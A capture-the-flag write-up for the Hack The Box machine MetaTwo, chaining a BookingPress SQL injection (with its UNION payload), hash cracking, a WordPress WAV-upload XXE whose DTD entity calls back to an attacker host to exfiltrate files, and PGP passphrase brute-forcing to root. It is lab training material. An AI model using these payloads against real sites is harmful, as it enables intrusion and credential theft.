← Back to writeups

Hack The Box: Metatwo

HackTheBox — MetaTwo Writeup

Difficulty: Easy
OS: Linux
IP: 10.129.228.95
User Flag: [REDACTED]
Root Flag: [REDACTED]


Overview

MetaTwo is an Easy-rated Linux machine that chains together several real-world CVEs against a WordPress installation. The path involves an unauthenticated SQL injection to extract credentials, an XXE injection via a media upload to read server-side files, and a passpie password manager whose PGP-encrypted database can be cracked to escalate to root.

Foothold: CVE-2022-0739 (BookingPress SQLi) → WP credentials
Lateral: CVE-2021-29447 (XXE in WordPress) → FTP creds → jnelson SSH
Privilege: Passpie PGP key (blink182) → decrypt root password → root shell

Attack Flow Diagram

flowchart TD A[Nmap Scan] --> B[WordPress on port 80] B --> C[BookingPress Plugin Detected] C --> D["CVE-2022-0739: SQLi → WP Hashes"] D --> E["Hashcat → manager:partylikearockstar"] E --> F["CVE-2021-29447: XXE via WAV Upload"] F --> G["Read wp-config.php → FTP Creds"] G --> H["FTP Login → mailer/send_email.php"] H --> I["XXE read send_email.php → jnelson creds"] I --> J["SSH as jnelson → USER FLAG"] J --> K["~/.passpie/.keys → PGP private key"] K --> L["Crack passphrase → blink182"] L --> M["Decrypt root.pass → p7qfAZt4_A1xo_0x"] M --> N["su root → ROOT FLAG"]

1. Reconnaissance

Nmap

nmap -sSCV -vv -oN nmap.txt 10.129.228.95
Port Service Detail
21/tcp FTP (ProFTPD) Open — slow banner (~60s)
22/tcp SSH OpenSSH 8.4p1 Debian
80/tcp HTTP nginx 1.18.0

HTTP redirects to http://metapress.htb/ — add to /etc/hosts:

echo "10.129.228.95 metapress.htb ftp.metapress.htb" | sudo tee -a /etc/hosts

Web Enumeration

Browsing to http://metapress.htb reveals a WordPress blog. The /events page contains an appointment booking form powered by the BookingPress plugin. Grab the _wpnonce value from the page source (needed for the SQLi exploit):

curl -s 'http://metapress.htb/events/' | grep -i nonce

2. Initial Foothold — CVE-2022-0739 (BookingPress SQLi)

Vulnerability: BookingPress WordPress plugin < 1.0.11 has an unauthenticated SQL injection in the bookingpress_front_get_category_services AJAX action via the total_service parameter.

Exploit

python3 CVE-2022-0739-exploit.py -u http://metapress.htb -p <wpnonce>

The UNION injection payload:

-7502) UNION SELECT user_login,user_email,user_pass,4,5,6,7,8,9 from wp_users-- -

Output:

Username: admin
Email: [email protected]
Password: $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.

Username: manager
Email: [email protected]
Password: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Cracking with Hashcat

WordPress uses phpass (portable PHP password hashing) — hashcat mode 400:

hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt

Cracked:

User Password
manager partylikearockstar
admin (did not crack)

3. Lateral Movement — CVE-2021-29447 (WordPress XXE)

Vulnerability: WordPress 5.6–5.7 with PHP 8.x allows XXE injection via a crafted .wav media file. The iXML chunk of a WAVE file is parsed as XML without disabling external entity loading.

Requirements: A WordPress account with media upload capability — the manager role qualifies.

Exploit Flow

1. Attacker crafts malicious WAVE file with XXE payload in iXML chunk
2. Payload references attacker's HTTP server: <!ENTITY % remote SYSTEM 'http://LHOST/xxe.dtd'>
3. WordPress fetches the DTD, which defines a file-reading entity via php://filter
4. File contents are base64+zlib encoded and sent back to attacker's listener

Running the Exploit

The CVE-2021-29447.py script handles everything — it starts the listener, uploads the WAV, and decodes the exfiltrated data.

Step 1 — Confirm XXE with /etc/passwd:

python3 CVE-2021-29447.py \
 --lhost 10.10.15.0 --lport 8888 \
 --target http://metapress.htb \
 --user manager --password partylikearockstar \
 --file /etc/passwd --timeout 30

Output (relevant lines):

jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin

Step 2 — Read wp-config.php:

python3 CVE-2021-29447.py \
 --lhost 10.10.15.0 --lport 8888 \
 --target http://metapress.htb \
 --user manager --password partylikearockstar \
 --file /var/www/metapress.htb/blog/wp-config.php --timeout 30

Key findings:

define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );

4. FTP Enumeration → PHPMailer Credentials

[!NOTE]
ProFTPD performs a reverse-DNS/ident lookup on connection, causing a ~60 second delay before the banner appears. Use a long timeout.

import ftplib
ftp = ftplib.FTP()
ftp.connect('10.129.228.95', 21, timeout=60) # long timeout!
ftp.login('metapress.htb', '9NYS_ii@FyL_p5M2NvJ')
ftp.retrlines('LIST -la')

FTP root listing:

drwxr-xr-x blog/ ← WordPress files
drwxr-xr-x mailer/ ← interesting!

mailer/ listing:

-rw-r--r-- send_email.php
drwxr-xr-x PHPMailer/

Reading send_email.php via XXE

Rather than FTP-transferring the file (slow), use the XXE exploit:

python3 CVE-2021-29447.py \
 --lhost 10.10.15.0 --lport 8888 \
 --target http://metapress.htb \
 --user manager --password partylikearockstar \
 --file /var/www/metapress.htb/mailer/send_email.php --timeout 20

Key credential found:

$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";

[!IMPORTANT]
Password reuse! jnelson uses the same password for SMTP and SSH.


5. SSH as jnelson — User Flag

ssh [email protected]
# Password: Cb4_JmWM8zUZWMu@Ys
id
# uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)

cat ~/user.txt
# fcea0531e67fcfbf83ad71ba54bd7974

User Flag: [REDACTED]**


6. Privilege Escalation — Passpie → Root

Enumeration

ls -la ~/
dr-xr-x--- .passpie/ ← password manager database

Passpie is a CLI password manager that encrypts credentials with PGP. The database structure:

find ~/.passpie -type f
/home/jnelson/.passpie/.keys ← PGP keypair (public + private)
/home/jnelson/.passpie/ssh/jnelson.pass ← encrypted credential
/home/jnelson/.passpie/ssh/root.pass ← encrypted root password!

Step 1 — Extract the PGP Private Key

cat ~/.passpie/.keys

Copy the entire -----BEGIN PGP PRIVATE KEY BLOCK----- ... -----END PGP PRIVATE KEY BLOCK----- section to your attack machine as passpie_private.key.

Step 2 — Crack the Passphrase

The key uses AES-128 + SHA-1 iterated S2K (S2K type 3). Cracking methods:

Method A — john the ripper (fastest):

gpg2john passpie_private.key > pgp.hash
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt

Method B — GPG import brute force (Python):

import subprocess, tempfile, shutil

def try_passphrase(keyfile, pp):
 gpghome = tempfile.mkdtemp()
 try:
 r = subprocess.run(
 ['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
 '--passphrase', pp, '--import', keyfile],
 capture_output=True, text=True, timeout=15
 )
 # GPG returns error "Bad passphrase" on wrong pass, succeeds on correct
 return 'secret keys imported: 1' in r.stderr
 finally:
 shutil.rmtree(gpghome, ignore_errors=True)

with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as f:
 for word in f:
 pp = word.strip()
 if try_passphrase('passpie_private.key', pp):
 print(f'[+] Passphrase: {pp}')
 break

[!TIP]
blink182 appears early in rockyou.txt so this finishes quickly even with the slow S2K derivation.

Result: Passphrase = blink182

Step 3 — Extract the root.pass Blob

From jnelson's session:

cat ~/.passpie/ssh/root.pass

Copy the -----BEGIN PGP MESSAGE----- block to your attack machine as root.pass.gpg.

Step 4 — Decrypt root's Password

import subprocess, tempfile, shutil

gpghome = tempfile.mkdtemp()

# Import private key with passphrase
subprocess.run(
 ['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
 '--passphrase', 'blink182', '--import', 'passpie_private.key'],
 capture_output=True
)

# Decrypt the password blob
r = subprocess.run(
 ['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
 '--passphrase', 'blink182', '--decrypt', 'root.pass.gpg'],
 capture_output=True, text=True
)

print(r.stdout.strip()) # → p7qfAZt4_A1xo_0x
shutil.rmtree(gpghome)

Root password: p7qfAZt4_A1xo_0x

Step 5 — Become Root

From jnelson's SSH session:

su root
# Password: p7qfAZt4_A1xo_0x
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# da39b974b60*************

Root Flag: [REDACTED]**


Complete Credential Chain

Credential Obtained From Value
manager WP hash CVE-2022-0739 SQLi $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
manager WP password Hashcat (rockyou) partylikearockstar
MySQL DB password XXE → wp-config.php 635Aq@TdqrCwXFUZ
FTP password XXE → wp-config.php 9NYS_ii@FyL_p5M2NvJ
jnelson SSH password XXE → send_email.php Cb4_JmWM8zUZWMu@Ys
Passpie PGP passphrase john/GPG brute-force blink182
root password Passpie GPG decrypt p7qfAZt4_A1xo_0x

CVEs Exploited

CVE Plugin/Software Type Impact
CVE-2022-0739 BookingPress WP Plugin < 1.0.11 Unauthenticated SQLi WP credential dump
CVE-2021-29447 WordPress 5.6–5.7 (PHP 8.x) XXE via media upload Arbitrary file read

← Back to writeups